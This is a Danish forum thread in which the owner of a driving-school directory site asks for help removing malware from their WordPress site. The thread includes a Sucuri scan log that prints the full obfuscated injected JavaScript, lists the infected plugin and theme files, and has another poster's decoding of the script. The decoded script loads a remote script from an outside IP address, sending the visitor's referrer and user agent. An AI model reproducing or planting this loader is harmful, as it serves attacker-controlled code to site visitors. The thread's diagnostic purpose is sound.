Virus på hjemmeside - Har prøvet det meste

Hvorfor i alverden ligger du et link ud med virus!?

Jeg skriver jo at det er der. Man kan jo bare lade være med at trykke. Hvis man har Norton, så sker der ikke noget. Jeg kender en del har trykket, uden at der er sket noget.

Jeg har brug for hjælp. Hvis man kan hjælpe mig, så ville jeg være glad.

Kører ikke Norton men var lige inde på siden alligevel.
Hvor på denne side vil man få virus på pc hvis man trykker??
Har ikke bevæget mig rundt på siden.
Skulle man ikke kontakte dem??
Mail : info@koereskolerne.dk

Ups det er din hjemmeside. Så det kun lige.

Man skal nu heller ikke stole blindt på sine antivirus programmer.
Jeg kan se siden henter noget indhold (mest javascript) fra forskellige russiske domæner. Om det er med vilje ved jeg ikke.
Men jeg ville nok stole mere på siden hvis den selv hostede de javascript filer.
Tror lige jeg vil geninstallere mit OS i min virtual box, bare for at være på den sikre side. :)

Hvad betyder det at geninstallere i sin virtual box ?

:)

Det er en virus som åbenbart gemmer sig. Nogle gange reagerer mit antivirus, andre gange ikke. Det er et ret sofistikeret virus. Jeg har læst lidt om det, men jeg fattede ikke meget af den tekniske snak

Jeg har denne her log :


Known javascript malware.
Details: http://sucuri.net/malware/malware-entry-mwjs69693
var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;
Malware found on javascript file:
http://koereskolerne.dk/wp-content/plugins/gd-star-rating/js/gdsr.js?ver=1.9.13
Malware found on javascript file:
http://koereskolerne.dk/wp-content/plugins/share-buttons/js/share-buttons.js?ver=3.3.1
Malware found on javascript file:
http://koereskolerne.dk/wp-content/plugins/share-buttons/js/odkl_init.js?ver=3.3.1
Malware found on javascript file:
http://koereskolerne.dk/wp-content/themes/Karma/truethemes_framework/js/truethemes.js?ver=2.0
Malware found on javascript file:
http://koereskolerne.dk/wp-content/themes/Karma/truethemes_framework/js/jquery.cycle.all.min.js?ver=2.9.4
Malware found on javascript file:
http://koereskolerne.dk/wp-content/themes/Karma/truethemes_framework/js/jquery.prettyPhoto.js?ver=1.0
Malware found on javascript file:
http://koereskolerne.dk/wp-includes/js/comment-reply.js?ver=1.0
Malware found on javascript file:
http://koereskolerne.dk/wp-content/themes/Karma/truethemes_framework/js/superfish.js?ver=1.0
Malware found on javascript file:
http://koereskolerne.dk/wp-content/themes/Karma/truethemes_framework/js/hoverIntent.js?ver=1.0
Security warning in the URL:
http://koereskolerne.dk
Security warning in the URL:
http://koereskolerne.dk/404testpage4525d2fdc
Security warning in the URL:
http://koereskolerne.dk/404javascript.js
Security warning in the URL:
http://koereskolerne.dk/koereskoler-koebenhavn/
Security warning in the URL:
http://koereskolerne.dk/koereskoler-i-aarhus/
Security warning in the URL:
http://koereskolerne.dk/koereskoler-i-odense/
Security warning in the URL:
http://koereskolerne.dk/blog/
Security warning in the URL:
http://koereskolerne.dk/kontakt/

Prøvede for sjov at se hvad "var _0xa687" array'et fra #8 indeholdt:
0: toLowerCase
1: userAgent
2: msie
3: indexOf
4: opera
5: webtv
6: windows
7: ahkrah
8: getElementById
9: location
10: referrer
11: script
12: createElement
13: id
14: src
15: http://31.184.242.103/s.php?ref=
16: &lc=
17: &ua=
18: head
19: getElementsByTagName
20: appendChild